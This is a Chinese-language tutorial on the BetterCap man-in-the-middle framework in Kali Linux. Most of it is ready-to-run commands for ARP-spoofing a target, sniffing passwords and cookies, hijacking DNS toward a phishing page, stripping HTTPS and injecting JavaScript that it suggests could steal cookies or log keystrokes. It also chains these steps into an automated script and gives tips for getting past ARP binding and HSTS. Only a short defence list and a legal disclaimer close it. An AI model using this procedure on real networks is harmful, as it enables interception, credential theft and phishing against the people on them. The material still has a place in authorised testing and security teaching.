
BetterCap是Kali Linux下最强大、模块化、跨平台的中间人攻击(MITM)框架,完全取代了老牌的Ettercap、Arpspoof,支持ARP欺骗、流量嗅探、DNS劫持、HTTPS剥离、JS代码注入、WiFi劫持等全套MITM能力,是现代渗透测试必备工具。
下文从原理、安装、完整实战流程、高级玩法、防御全维度讲解。
BetterCap由evilsocket开发,轻量、单文件、Go编写、模块化设计,在Kali中默认预装。
•全模块联动:ARP欺骗 + 流量嗅探 + DNS劫持 + HTTPS代理 + JS注入 一键组合•支持HTTPS解密:内置SSLstrip2,自动降级HTTPS→HTTP,抓取密码•Caplets脚本:可写配置文件实现自动化攻击(如自动劫持、自动钓鱼)•稳定高效:低CPU占用,大流量不崩溃•WiFi/Bluetooth:同时支持有线、无线、蓝牙MITM
1.冒充网关:向目标发送伪造ARP包:“我是192.168.1.1(网关),MAC是AA:BB:CC:DD:EE:FF”2.冒充目标:向网关发送伪造ARP包:“我是192.168.1.100(目标),MAC是AA:BB:CC:DD:EE:FF”3.流量全经过攻击机:目标→攻击机→网关,攻击机可嗅探、篡改、劫持、阻断所有流量

# Kali默认已装,更新到最新sudo apt update && sudo apt install bettercap -y# 验证版本sudo bettercap -version
# 临时开启(重启失效)echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward# 永久开启(可选)sudo vim /etc/sysctl.conf# 取消注释:net.ipv4.ip_forward=1sudo sysctl -p
ip a# 常见:eth0(有线)、wlan0(无线)
# -iface 指定网卡sudo bettercap -iface eth0# 进入 >> 交互界面
# 开启主机发现net.recon on# 等待10秒,查看存活设备net.show
效果:列出IP、MAC、主机名、厂商,确定目标(如192.168.1.105)。
# 设置目标(多个用逗号分隔)set arp.spoof.targets 192.168.1.105# 开启双向欺骗(目标<->网关都骗,默认true)set arp.spoof.fullduplex true# 启动ARP欺骗arp.spoof on
验证:目标机arp -a,网关MAC与攻击机MAC一致 → 成功劫持。
# 开启嗅探net.sniff on# 只抓HTTP/HTTPS账号密码(更清晰)set net.sniff.output sniff.logset net.sniff.filter "tcp port 80 or tcp port 443"
实时输出:URL、POST表单、Cookie、账号密码(FTP/HTTP/MySQL)。
arp.spoof offnet.sniff offexit
# 1. 先开ARP欺骗(同上)# 2. 配置DNS劫持set dns.spoof.domains www.baidu.com,www.qq.com,facebook.comset dns.spoof.address 192.168.1.100 # 攻击机IPset dns.spoof.all true # 劫持所有域名# 3. 启动DNS欺骗dns.spoof on
目标访问任意被劫持域名 → 跳转到攻击机Web页面(可搭钓鱼站)。

# 开启HTTPS代理+SSL降级set https.proxy.sslstrip truehttps.proxy on# 开启HTTP代理http.proxy on# 再开嗅探,即可抓HTTPS明文密码net.sniff on
注意:现代浏览器HSTS会防御,需配合JS注入禁用HSTS。
# 所有网页自动注入JSset http.proxy.injectjs trueset http.proxy.script "/root/inject.js"# inject.js内容示例alert('你已被MITM攻击!');// 或窃取Cookie、键盘记录
# 新建capletsudo vim /usr/share/bettercap/caplets/my-mitm.cap# 内容net.recon onset arp.spoof.targets 192.168.1.100arp.spoof onnet.sniff onhttp.proxy onhttps.proxy.sslstrip truehttps.proxy on# 运行sudo bettercap -iface eth0 -caplet my-mitm
1. 目标断网
•未开启ip_forward •误开arp.ban on(禁网模式) •关闭:arp.ban off
2. 嗅探不到数据
•目标走HTTPS且HSTS生效•用https.proxy.sslstrip true + JS注入绕过HSTS•过滤器太严:set net.sniff.filter ""
3. ARP欺骗失效
•目标/网关开启ARP静态绑定•路由器防ARP欺骗•换用DHCP欺骗(dhcp.spoof)
•开启ARP防火墙(360、火绒、Windows Defender防火墙)•使用HTTPS/DoH/DoT•路由器绑定IP-MAC•不连陌生WiFi•浏览器开启HSTS
本文仅用于授权渗透测试与网络安全学习。 未经许可对他人网络执行MITM、窃取数据,违反《网络安全法》《刑法》第285/286条,最高可判7年。请严格遵守法律,坚守底线。